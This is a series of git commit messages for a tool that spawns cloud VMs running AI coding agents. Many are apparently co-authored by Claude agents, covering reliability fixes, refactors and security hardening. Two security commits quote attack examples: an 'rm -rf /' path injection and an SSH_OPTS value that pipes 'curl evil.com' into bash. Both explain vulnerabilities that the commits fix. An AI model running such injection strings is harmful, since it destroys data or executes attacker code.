Fixes#1354 - users experienced a ~30s delay with "gateway not connected"
errors when trying to use OpenClaw immediately after launch.
Root cause: gateway takes time to bind to port 18789, but TUI launched
after only 2 seconds.
Solution: Add wait_for_openclaw_gateway() helper that polls the gateway
port (max 30s) before launching TUI, ensuring immediate usability.
Changes:
- shared/common.sh: Add wait_for_openclaw_gateway() function
- All openclaw.sh scripts (10 files): Replace sleep 2 with gateway readiness check
Agent: ux-engineer
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
Make install_agent() check exit codes and fail fast when installation
commands return non-zero. Previously, the function would silently
continue even when installations failed due to bash || operators
returning 0.
This fix ensures that installation failures (network timeouts, missing
dependencies, package not found) are caught immediately with actionable
error messages instead of confusing runtime errors during session launch.
Affected ~30 agent scripts using patterns like:
- pip install X 2>/dev/null || pip3 install X
- command -v bun && bun install X || npm install X
Agent: code-health
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
Three reliability improvements:
1. OAuth session cleanup: Verify PID still exists before killing to prevent
accidentally killing unrelated processes if PID is reused by the OS.
Uses kill -0 check before sending SIGTERM.
2. Float arithmetic fallback: Check for python3 availability before using it
for fractional POLL_INTERVAL support. Falls back to integer seconds with
explicit comment about potential early timeout.
3. Exit code preservation: Add clarifying comment about exit code capture
timing in refactor.sh cleanup trap (already correct, now documented).
Agent: code-health
Co-authored-by: spawn-bot <bot@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
* fix: add error logging to empty catch blocks in test helpers
Previously, test helper functions had 14 empty catch blocks that
silently swallowed all errors during cleanup operations (reading and
deleting temporary stderr files).
This change adds error logging that:
- Allows expected errors (ENOENT for missing files, exit code 1 for cat)
- Logs unexpected errors to console for debugging
This improves test reliability by surfacing unexpected filesystem or
permission errors that could indicate real problems, while still
allowing the intended best-effort cleanup behavior.
Fixes: Empty catch blocks in 6 test files
Impact: Better test debugging and error visibility
Agent: code-health
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
* fix: improve error handling in Python fallback and directory deletion
1. Python arithmetic fallback (shared/common.sh:713):
- Changed from: || echo "$((elapsed + 1))"
- Changed to: explicit if/else with error detection
- Impact: Python errors are now properly caught instead of masked by ||
2. Unvalidated directory deletion (cli/install.sh:142):
- Added path validation before rm -rf
- Checks: path is within dest directory AND directory exists
- Impact: Prevents accidental deletion if variables are malformed
Both changes improve safety and error visibility without breaking
existing functionality.
Agent: code-health
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
---------
Co-authored-by: spawn-bot <bot@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
Prevents potential code injection if malicious parameters containing
single quotes are passed to _generate_oauth_server_script(). The
function embeds bash variables directly into a Node.js script string
using single-quoted JS strings. Without escaping, a crafted parameter
like "foo'; malicious(); '" could break out of the string context.
While current callers use safe values (randomUUID, tempfile paths,
HTML constants), defense-in-depth requires sanitizing at the point
of use to prevent future regressions if callers change.
Fixes: CWE-94 (Code Injection)
Severity: HIGH
Impact: Remote code execution if attacker controls OAuth state token,
file paths, or HTML content
Agent: security-auditor
Co-authored-by: spawn-bot <bot@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
Refactored two high-complexity functions to improve maintainability:
1. shared/common.sh: Extract install_claude_code() into 5 focused helpers:
- _finalize_claude_install: Setup shell integration
- _verify_claude_installed: Check if installation succeeded
- _install_via_curl: Curl installer method
- _ensure_nodejs_runtime: Node.js runtime setup
- _install_via_bun: Bun installer method
Main function now reads as a clear sequence of steps.
2. cli/src/commands.ts: Simplify credential checking in printQuickStart:
- Extract checkAllCredentialsReady() for clarity
- Extract printAuthVariableStatus() to handle auth var display
- Extract buildCloudCommandHint() for cloud hint formatting
Reduces complexity and improves readability.
All 80 tests pass. No functional changes.
Co-authored-by: spawn-bot <bot@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
Improves codebase reliability by adding critical safety validations:
1. **cleanup_oauth_session**: Added path validation before rm -rf
- Prevents accidental deletion if oauth_dir is empty, /, or /tmp
- Validates path starts with /tmp/ and is not just /tmp itself
- Prevents catastrophic system damage from failed mktemp
2. **_init_oauth_session**: Added mktemp failure detection
- Checks if mktemp -d succeeded before using oauth_dir
- Returns error with actionable message if temp dir creation fails
- Prevents empty oauth_dir from propagating to rm -rf
3. **refactor.sh SPAWN_ISSUE validation**: Strengthened regex
- Changed from ^[0-9]+$ to ^[1-9][0-9]*$
- Prevents SPAWN_ISSUE="0" from creating issue-0 worktrees
- Ensures issue numbers are positive integers (>= 1)
These fixes prevent potential data loss from edge cases in OAuth
cleanup and refactor service issue handling.
Agent: code-health
Co-authored-by: spawn-bot <bot@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
HIGH severity: Three functions used hardcoded /tmp/env_config for uploading
API keys, creating a TOCTOU race condition where attackers on multi-user
systems could create symlinks to exfiltrate OPENROUTER_API_KEY and other
credentials.
Fixed by using unpredictable temp file names with mktemp-derived randomness,
matching the secure pattern in write_remote_file_via_callback().
Affected functions:
- inject_env_vars_with_ssh() (line 1094)
- inject_env_vars_local() (line 1128)
- inject_env_vars_cb() (line 1363)
Agent: security-auditor
Co-authored-by: spawn-bot <bot@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
- Fix race condition in cleanup_oauth_session: Kill process group to prevent zombie OAuth server processes
- Add mktemp failure handling in _init_oauth_session: Prevents undefined behavior when /tmp is full or inaccessible
- Add env var name validation in generate_env_config: Prevents shell injection via malformed KEY=value pairs
Agent: code-health
Co-authored-by: test-engineer <agent@spawn.local>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
Wire up connection tracking across all 10 clouds so users can reconnect
to and delete previously spawned servers via `spawn list` and `spawn delete`.
Phase 1 - Connection tracking:
- Extend save_vm_connection() with cloud and metadata params
- Add save_vm_connection to create_server() in all cloud libs
- Extend VMConnection with cloud, deleted, deleted_at, metadata fields
Phase 2 - Delete via interactive picker:
- Add "Delete this server" option to spawn list picker
- Build delete scripts that reuse each cloud's destroy_server()
- Confirmation UX with spinner feedback
- Soft-delete marking in history (deleted records show [deleted])
Phase 3 - Standalone delete command:
- spawn delete (aliases: rm, destroy) with interactive picker
- Filter support: spawn delete -a <agent> -c <cloud>
Also improves reconnect hints for Fly (fly ssh console) and
Daytona (daytona ssh) connections.
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Ubuntu's default .bashrc has an interactive-shell guard that exits
early in non-interactive contexts. When SSH runs a command string
(ssh -t user@host -- "cmd"), the shell is non-interactive, so
env vars appended to .bashrc are never loaded — causing Claude Code
to start without OpenRouter credentials and get rejected.
Fix: write env vars to ~/.spawnrc and have .bashrc/.zshrc source it.
Launch commands source ~/.spawnrc directly, bypassing the guard.
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
The npm/fnm fallback was causing multiple issues:
- bun installed claude but verification ran `claude --version` which
needs node (bun-installed claude has #!/usr/bin/env node shebang)
- fnm's `eval "$(fnm env)"` corrupts PATH when written to rc files
- fnm installs node in a dir that requires eval to access
Simplified to two methods:
1. curl installer (standalone binary, no runtime needed)
2. bun i -g (installs to ~/.bun/bin/)
Removed: npm method, fnm/nodesource node installers, fnm PATH logic.
Changed verification from `command -v claude && claude --version` to
just `command -v claude` (avoids needing node just to verify).
Also: cleaned up claude_path (removed fnm references), kept stale
.bash_profile cleanup.
Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Root cause: the launch command did `source ~/.bashrc; source ~/.zshrc; claude`.
The .zshrc contains `eval "$(fnm env)"` which outputs PATH with literal
"$PATH" in quotes instead of expanding it, destroying the entire PATH.
Confirmed via debugging:
- `ssh -t ... 'export PATH=...; which claude'` → works (/root/.bun/bin/claude)
- `ssh -t ... 'export PATH=...; source ~/.zshrc; which claude'` → "command not found"
- `source ~/.zshrc; echo $PATH` → `"/run/user/0/fnm_multishells/...":"$PATH"` (broken)
Fix:
- Remove `source ~/.bashrc` and `source ~/.zshrc` from ALL launch commands
- ssh -t creates a pseudo-terminal, so bash auto-sources .bashrc for env vars
- Explicit PATH export is all we need for finding the claude binary
- Remove fnm eval snippet from _finalize_claude_install (it poisoned rc files)
- Also: clean up stale ~/.bash_profile, fix cloud-init PATH, move node
install after bun attempt
Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Stop writing env vars to ~/.profile and ~/.bash_profile — only write to
.bashrc and .zshrc. The .profile approach caused issues because login
shells source it inconsistently across distros, and creating .bash_profile
makes bash -l skip .profile entirely.
Replace `bash -lc claude` launch commands with explicit PATH export +
source pattern across all cloud providers. This ensures claude is found
regardless of shell initialization quirks.
Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
On Ubuntu/Debian, ~/.bash_profile doesn't exist by default. When bash
starts as a login shell (bash -l), it sources the FIRST file it finds
from: ~/.bash_profile, ~/.bash_login, ~/.profile. Since only ~/.profile
exists, that's what gets sourced — and ~/.profile sets up the standard
PATH (/usr/bin, /bin, etc.) and sources ~/.bashrc.
Our inject_env_vars_* functions and _finalize_claude_install were writing
to ~/.bash_profile and ~/.zprofile (either via touch+append or via
for-loop over all rc files). Creating ~/.bash_profile caused bash -l to
source it INSTEAD of ~/.profile, completely losing the standard PATH
setup. After deployment, even basic commands like `ls` would fail.
Fix: Only write to ~/.profile, ~/.bashrc, ~/.zshrc across all clouds
(shared, fly, sprite). These are the standard files that work correctly
on all Linux distros without breaking the shell initialization chain.
Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Root cause: bash -l sources the FIRST of ~/.bash_profile, ~/.bash_login,
~/.profile. If ~/.bash_profile exists (e.g. from cloud-init), ~/.profile
is never read and our claude PATH exports are invisible.
Additionally, .bashrc has a non-interactive guard that skips exports when
sourced from non-interactive shells like `ssh host "cmd"` or `bash -lc`.
Fix: write env config and PATH entries to ALL shell startup files:
~/.profile, ~/.bash_profile, ~/.bashrc, ~/.zshrc, ~/.zprofile.
This ensures both login and interactive shells on any platform find claude.
Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Two fixes:
1. Swap fallback order from curl → npm → bun to curl → bun → npm.
Bun is faster and typically pre-installed. Use `bun i -g`.
2. Fix "claude: command not found" at launch. The default .bashrc has
a non-interactive guard (`case $- in *i*) ;; *) return;; esac`)
that skips PATH exports when sourced from SSH command strings.
Fix: write env config to ~/.profile (always sourced by login shells)
in addition to .bashrc/.zshrc, and launch with `bash -lc claude`
which starts a login shell that sources ~/.profile.
Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
After installing Claude Code (via any method), run `claude install --force`
to set up shell integration, then ensure fnm bootstrap is persisted to both
.bashrc and .zshrc so interactive sessions can find node.
Also simplify all launch commands across 9 clouds: instead of hardcoding
PATH entries that may miss fnm, source the rc files which now contain all
the necessary PATH entries from both inject_env_vars and _finalize_claude_install.
Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Restyle the OAuth success/error pages to match openrouter.ai's minimal
aesthetic: system-ui font, clean white/near-black backgrounds, muted
secondary text, and proper light/dark mode via prefers-color-scheme.
- Light mode: white background (#fff), dark text (#090a0b)
- Dark mode: near-black background (#090a0b), light text (#fafafa)
- Use simple checkmark/cross icons instead of colored headings for status
- Add viewport meta tag for mobile
- Update tests to match new markup
Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Previously offer_github_auth prompted interactively inside inject_env_vars_*,
which runs after the server is already provisioned. This means the user sits
through provisioning before being asked a simple yes/no question.
Split into two phases:
- prompt_github_auth: asks the question early (before create_server)
- offer_github_auth: executes the install later (after server is up),
using the stored answer without re-prompting
Falls back to interactive prompt if prompt_github_auth was never called,
so non-claude scripts and older clouds keep working unchanged.
Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
All cloud claude.sh scripts had inline curl-only installs with no fallback.
When the curl installer failed (transient outage, rate limit), installation
failed with no recovery. Additionally, fnm-installed Node.js was invisible
to subsequent SSH sessions because each SSH command runs in a non-interactive
shell that doesn't source .bashrc/.zshrc.
Changes:
- Migrate 8 cloud scripts to use shared install_claude_code (curl → npm → bun)
- Move _ensure_node_runtime before npm/bun install attempts (not after)
- Add fnm paths to claude_path so node is discoverable across SSH sessions
- Prefix npm/bun install commands with claude_path for PATH visibility
- Update test assertion to match new install_claude_code behavior
Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Add 5 composable helper functions to shared/common.sh (install_agent,
verify_agent, get_or_prompt_api_key, inject_env_vars_cb, launch_session)
using the same callback pattern as offer_github_auth and
setup_claude_code_config. Refactor all 15 hetzner scripts to use them,
reducing total line count from 868 to 579 (-33%).
Add install_claude_code helper with 3-method fallback (curl → npm → bun)
and per-step error logging. When npm/bun fallback needs node, installs it
via fnm (platform-agnostic) with nodesource as Debian/Ubuntu fallback.
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* feat: wire shared/github-auth.sh into all agent flows
Add offer_github_auth() to shared/common.sh and call it from the
inject_env_vars_* functions so all agent flows automatically offer
GitHub CLI setup after env var injection — no per-script changes needed.
Changes:
- shared/common.sh: add offer_github_auth() function, call it from
inject_env_vars_ssh() and inject_env_vars_local()
- sprite/lib/common.sh: call offer_github_auth() from
inject_env_vars_sprite()
- OVH is covered automatically (inject_env_vars_ovh delegates to
inject_env_vars_ssh)
Behavior:
- Prompts "Set up GitHub CLI (gh) on this machine? (y/N):"
- Defaults to No (non-blocking for users who don't need it)
- Skippable via SPAWN_SKIP_GITHUB_AUTH=1 env var for CI/automation
- Uses safe_read for curl|bash compatibility
- Downloads and runs shared/github-auth.sh on the remote VM
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* refactor: add shared agent setup helpers, deduplicate hetzner scripts (#1236)
Add 5 composable helper functions to shared/common.sh (install_agent,
verify_agent, get_or_prompt_api_key, inject_env_vars_cb, launch_session)
that use the same callback pattern as offer_github_auth and
setup_claude_code_config. Refactor all 15 hetzner agent scripts to use
them, reducing total line count from 868 to 579 (-33%).
Phase 1 of multi-phase rollout — remaining clouds to follow.
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
API keys and env vars were only written to .zshrc, so SSH sessions using
bash couldn't find credentials. Also fixes incorrect ~/.claude/local/bin
PATH (claude installs to ~/.local/bin) and syncs interactive_session PATH
with cloud-init PATH across all 9 clouds.
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Fixed Hetzner installation issue where curl to claude.ai/install.sh
was returning 403 errors. Added fallback to use bun (already installed
by cloud-init) to install Claude Code.
Also added --debug flag to enable verbose bash output (set -x) for
easier troubleshooting.
Changes:
- hetzner/claude.sh: Use bun fallback installation method
- CLI: Added --debug flag support (v0.2.86)
- shared/common.sh: Enable set -x when SPAWN_DEBUG=1
Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
Extract helper functions to reduce nesting and duplication:
1. cmdConnect (54 → 28 lines): Extract runInteractiveCommand() helper to
eliminate duplicate spawn/Promise handling for Sprite and SSH connections
2. interactiveListPicker (48 → 21 lines): Extract handleRecordAction() helper
to reduce nesting in reconnect/rerun logic
3. setup_claude_code_config (46 → 40 lines): Extract _generate_claude_code_settings()
and _generate_claude_code_state() helpers to clarify JSON generation and
make the main function focus on orchestration
All changes preserve existing behavior and pass existing tests.
Agent: complexity-hunter
Co-authored-by: spawn-refactor-bot <refactor@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
* feat: add VM reconnect functionality to spawn list (#1144)
Implements ability to reconnect to previously spawned VMs instead of
always creating new instances. Changes include:
- Add VMConnection interface to track IP, user, and server metadata
- Add save_vm_connection() bash function for scripts to persist connection info
- Modify spawn list to show connection status and offer reconnect option
- Support both SSH (cloud providers) and sprite console reconnection
- Update digitalocean/claude.sh and sprite/claude.sh as reference implementations
Fixes#1144
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
* improve: add helpful error message when VM reconnect fails
Show user-friendly message suggesting to spawn a new VM if
reconnection fails, rather than just showing raw SSH error.
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
---------
Co-authored-by: spawn-refactor-bot <refactor@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
This commit fixes 3 critical reliability bugs in shared/common.sh:
1. Float arithmetic in OAuth polling loop (line 702)
- Bug: elapsed=$((elapsed + POLL_INTERVAL)) fails when POLL_INTERVAL is decimal
- Impact: OAuth timeout detection breaks when users set SPAWN_POLL_INTERVAL=0.5
- Fix: Use python3 for float addition with integer fallback
2. Missing error handling in extract_ssh_key_ids (line 1249)
- Bug: No error handling when python3 fails or API returns malformed JSON
- Impact: Silent failures in SSH key provisioning across 7+ cloud providers
- Fix: Add error handling with clear diagnostic messages
3. Unsafe fallback in calculate_retry_backoff (line 1312)
- Bug: Empty interval returned if python3 unavailable and echo fails
- Impact: sleep "" errors break retry loops in all cloud API wrappers
- Fix: Add input validation and use printf instead of echo
All tests pass (13685 pass, 0 fail).
Agent: code-health
Co-authored-by: spawn-refactor-bot <refactor@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
* security: fix command injection in upload_config_file via unquoted path
VULNERABILITY: The upload_config_file() function passes remote_path
to mv without proper quoting, enabling command injection if the path
contains spaces or shell metacharacters.
IMPACT: HIGH — While current callers use hardcoded paths (~/.claude/...),
the function signature accepts arbitrary paths, making this a latent
vulnerability. A malicious or crafted path could execute arbitrary
commands on the remote server.
FIX: Double-quote remote_path in all command contexts (dirname, mv).
Tilde expansion still works correctly in double quotes when the tilde
is at the start of the path.
BEFORE:
mv '${temp_remote}' ${remote_path}
# If remote_path = "~/.config; rm -rf /" → command injection
AFTER:
mv '${temp_remote}' "${remote_path}"
# Path is properly quoted, no injection possible
Tracked in: #763
Agent: security-auditor
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
* fix: replace ~ with $HOME in upload_config_file callers
- Replace ~ with $HOME in all upload_config_file calls (lines 2432, 2443, 2522, 2575)
- Update comment to clarify tilde does not expand inside double quotes
- Update documentation example to use $HOME instead of ~
This addresses the review feedback that tilde expansion does not work
inside double quotes in bash. Using $HOME allows proper path expansion
on the remote shell while maintaining secure double-quoting.
Agent: security-auditor
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
---------
Co-authored-by: spawn-refactor-bot <refactor@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
This commit fixes 3 high-impact reliability issues that could cause runtime failures:
1. **OAuth server PID race condition** (shared/common.sh)
- BEFORE: Used pgrep to find server PID, which could match wrong processes
- AFTER: Store PID in a file and read it reliably
- IMPACT: Prevents OAuth cleanup failures and orphaned server processes
2. **Unhandled curl failures in OAuth code exchange** (shared/common.sh)
- BEFORE: curl failures returned empty response without error detection
- AFTER: Check curl exit code and report network/API errors clearly
- IMPACT: Users get actionable feedback instead of cryptic "empty key" errors
3. **Missing error handling in script download** (cli/src/commands.ts)
- BEFORE: Caught download error but continued execution with undefined scriptContent
- AFTER: Exit early when download fails to prevent crash
- IMPACT: Prevents "Cannot read property of undefined" runtime errors
All changes preserve existing behavior while adding defensive error handling.
Agent: code-health
Co-authored-by: spawn-refactor-bot <refactor@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
Fixes#1145
Replaces numeric input with interactive fuzzy picker for server/location selection.
- Uses fzf when available for interactive filtering
- Falls back to numbered list when fzf is not installed
- Applies to all interactive_pick flows (Hetzner locations, server types, etc.)
- Improves UX with type-to-filter capability
Agent: ux-engineer
Co-authored-by: spawn-refactor-bot <refactor@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
Extracted helper functions to improve code maintainability:
1. shared/common.sh:
- Extracted _prompt_and_validate_api_key() from get_openrouter_api_key_manual()
- Simplified API key validation loop and confirmation logic
2. cli/commands.ts:
- Extracted selectAgent() from cmdInteractive() for agent selection
- Extracted getAndValidateCloudChoices() for cloud validation and prioritization
- Extracted selectCloud() for cloud selection UI
- Extracted report404Failure() and reportHTTPFailure() from reportDownloadFailure()
- Extracted classifyNetworkError(), showTimeoutCauses(), showConnectionCauses(), etc.
- Simplified error handling with switch statement in reportDownloadError()
These changes reduce cyclomatic complexity and improve testability while preserving
all existing functionality.
Co-authored-by: spawn-refactor-bot <refactor@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
Enhance user-facing error messages with better structure and visual hierarchy:
**CLI Error Messages:**
- Add bold headers for "Next steps:" and "Possible causes:" sections
- Make action items more scannable and directive
- Simplify language (e.g., "temporarily" vs "temporarily unavailable")
- Reduce redundancy in network error messages
**Shell Error Messages:**
- Add color-coded section headers (yellow for "Common causes" and "Next steps")
- Apply syntax highlighting to commands with CYAN color
- Improve readability of multi-step installation instructions
- Use bullet points (•) instead of dashes for better visual scanning
- Add inline comments to commands (e.g., "# Check disk space")
**Impact:**
Users experiencing errors will:
- Find actionable steps faster with clear visual hierarchy
- Copy-paste commands more easily with syntax highlighting
- Understand root causes quicker with color-coded sections
- Have a better experience during failure scenarios
All changes maintain backward compatibility and work across bash 3.x (macOS) and modern bash.
Agent: ux-engineer
Co-authored-by: spawn-refactor-bot <refactor@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
Extract helper functions to simplify complex control flow:
- try_oauth_flow: Extract _start_oauth_session_with_server helper to handle server startup phase, improving readability and testability
- _hetzner_resolve_server_type: Extract _hetzner_log_validation_error and _hetzner_log_type_change helpers to separate error handling logic from main flow
These changes reduce nesting levels and improve function cohesion while maintaining identical behavior.
Agent: complexity-hunter
Co-authored-by: spawn-refactor-bot <refactor@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
Fix#1114 — `mv` failed because `~/.claude/settings.json` was
single-quoted on the remote shell, preventing tilde expansion.
Remove the single quotes around remote_path and add a mkdir -p
safety net.
Also bump the refactor team cron from hourly to every 5 minutes.
Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Extract pattern-matching logic in _strip_api_base() into separate helper functions (_strip_gcore_endpoint, _strip_scaleway_endpoint) to reduce function complexity from 36 lines to organized cases with extracted handlers.
Refactor ensure_api_token_with_provider() in shared/common.sh by extracting:
- _prompt_for_api_token() handles user prompting
- _validate_env_var_name() handles security validation
Reduces main function complexity and improves testability.
Agent: complexity-hunter
Co-authored-by: spawn-refactor-bot <refactor@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
Fixes#1125 and #1114
The upload_config_file() function now creates parent directories
before moving config files to paths like ~/.claude/settings.json
and ~/.openclaw/openclaw.json.
Previously, if these directories didn't exist, the mv command would
fail with "No such file or directory" errors. This affected all
agents using setup_claude_code_config() and setup_openclaw_config().
Changes:
- Extract directory path using dirname
- Create parent directories with mkdir -p
- Execute chmod and mv in same command chain
Agent: ux-engineer
Co-authored-by: spawn-refactor-bot <refactor@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
Break down overly complex functions into smaller, single-purpose helpers:
discovery.sh:
- Extract _sync_and_setup() from run_team_cycle() for git sync + setup
- Extract _launch_claude() to handle process startup
- Extract _session_completed() to check session status
- Extract _cleanup_cycle_files() for file cleanup
- Reduces run_team_cycle() from 71 lines to 39 lines
record.sh:
- Extract _validate_response_not_empty() for empty check
- Extract _validate_response_json() for JSON validation
- Extract _validate_response_no_error() for API error checking
- Extract _record_fixture_metadata() for metadata recording
- Reduces _save_live_fixture() from 34 lines to 15 lines
shared/common.sh:
- Extract _check_agent_in_path() for PATH verification
- Extract _check_agent_runs() for execution verification
- Reduces verify_agent_installed() from 32 lines to 11 lines
Each helper is focused on one concern, improving maintainability and testability.
Co-authored-by: spawn-refactor-bot <refactor@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
Agent: ux-engineer
Enhance error messages when authentication fails by including direct
URLs to the provider's API token page in the remediation steps.
Changes:
- Updated _validate_token_with_provider() to accept help_url parameter
- Updated _validate_multi_credentials() to include help_url in errors
- Modified ensure_api_token_with_provider() to pass help_url to validator
Users now see the provider dashboard URL immediately when auth fails,
reducing friction and eliminating the need to search for token pages.
Before:
1. Re-run the command to enter a new token
2. Or set it directly: HCLOUD_TOKEN=your-token spawn ...
After:
1. Get a new token from: https://console.hetzner.cloud/projects
2. Re-run the command and paste the new token
3. Or set it directly: HCLOUD_TOKEN=your-token spawn ...
Co-authored-by: Spawn Refactor Service <refactor@spawn.service>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
Fixed command injection vulnerability in ssh_run_server() and
ssh_interactive_session() by adding double-dash (--) argument separator.
Without the -- separator, SSH_OPTS could be exploited if an attacker
can control SSH_OPTS environment variable to inject additional SSH
arguments like "-o ProxyCommand=..." which would execute arbitrary
commands.
The -- separator ensures all subsequent arguments are treated as the
remote command, not SSH options.
Severity: CRITICAL
Impact: Remote command execution if SSH_OPTS is attacker-controlled
Agent: security-auditor
Co-authored-by: Spawn Refactor Service <refactor@spawn.service>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
HIGH severity fix for command injection vulnerability.
The SSH_OPTS environment variable was used unquoted in multiple ssh/scp
commands throughout the codebase. While intentionally unquoted to allow
multiple options, this created a command injection risk if an attacker
could control the SSH_OPTS environment variable.
Attack vector:
export SSH_OPTS="-o ProxyCommand='bash -c whoami'"; ./cloud/agent.sh
export SSH_OPTS="; curl evil.com | bash #"; ./cloud/agent.sh
Impact: Remote code execution on the user's machine when running any
spawn script with a malicious SSH_OPTS value.
Fix: Added _validate_ssh_opts() function that blocks shell metacharacters
(; | & \` $ ( ) < >) in SSH_OPTS. If validation fails, secure defaults
are used instead.
Tested validation against:
- Semicolon injection (;)
- Pipe injection (|)
- Backtick injection (\`)
- Command substitution ($())
- Background execution (&)
- Redirection (< >)
Files changed:
- shared/common.sh: Added validation function and enforcement
Agent: security-auditor
Co-authored-by: Spawn Refactor Service <refactor@spawn.service>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
Enhance error messages throughout the codebase to provide clearer
explanations and more actionable guidance for users.
Changes:
Shell Scripts (shared/common.sh):
- Improve non-interactive mode error with better examples
- Expand model ID validation to show valid characters and examples
- Add detailed server name requirements with examples
- Fix diagnostic function to handle cases without fixes section
TypeScript CLI (cli/src/security.ts):
- Enhance identifier validation with bullet points and examples
- Add context about entity type (agent vs cloud) in errors
- Improve path traversal error with specific character explanations
- Better prompt validation messages with plain language guidance
- Improve overly-long identifier/prompt errors with helpful context
TypeScript CLI (cli/src/commands.ts):
- Rewrite download failure messages to be more user-friendly
- Change "Common causes" to "What's wrong" for clarity
- Change "How to fix" to "What to do" for better action orientation
- Add more specific troubleshooting steps for network issues
- Improve wording to be less technical and more helpful
Impact:
- Users get clearer, more actionable error messages
- Error messages now include examples of correct usage
- Reduced cognitive load by using plain language instead of jargon
- Better guidance for fixing issues without needing to consult docs
Agent: ux-engineer
Co-authored-by: Spawn Refactor Service <refactor@spawn.service>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
* fix: Properly handle comma-separated auth vars in key-request.sh
The tr command was incorrectly translating each character in '+,' to newline,
causing "ALIYUN_ACCESS_KEY_ID, ALIYUN_ACCESS_KEY_SECRET" to not be split properly.
Also updated get_cloud_env_vars to split on both + and , separators.
Fixes the error: "ALIYUN_ACCESS_KEY_ID, ALIYUN_ACCESS_KEY_SECRET: invalid variable name"
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
* fix: Revert sed to tr for macOS bash 3.x compatibility
As requested in security review - BSD sed treats \n in replacement
as literal backslash-n, not newline. tr already handles both + and ,
delimiters correctly on all platforms.
Addresses security review feedback.
---------
Co-authored-by: Spawn QA Bot <qa-bot@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
Co-authored-by: Spawn Refactor Service <refactor@spawn.service>
- Extract _log_ssh_wait_progress() from generic_ssh_wait() to reduce nesting
- Extract _log_ssh_wait_timeout_error() to consolidate error handling and troubleshooting output
- Extract _generate_openclaw_json() from setup_openclaw_config() to reduce inline JSON generation complexity
- All helpers are private (prefixed with _) and encapsulate related logic
These refactorings reduce function complexity:
- generic_ssh_wait: 68 lines → 47 lines (31% reduction)
- setup_openclaw_config: 41 lines → 28 lines (32% reduction)
Test results: bash test/run.sh passes (80/80), bun test unaffected by these changes
Agent: complexity-hunter
Co-authored-by: Spawn Refactor Service <refactor@spawn.service>
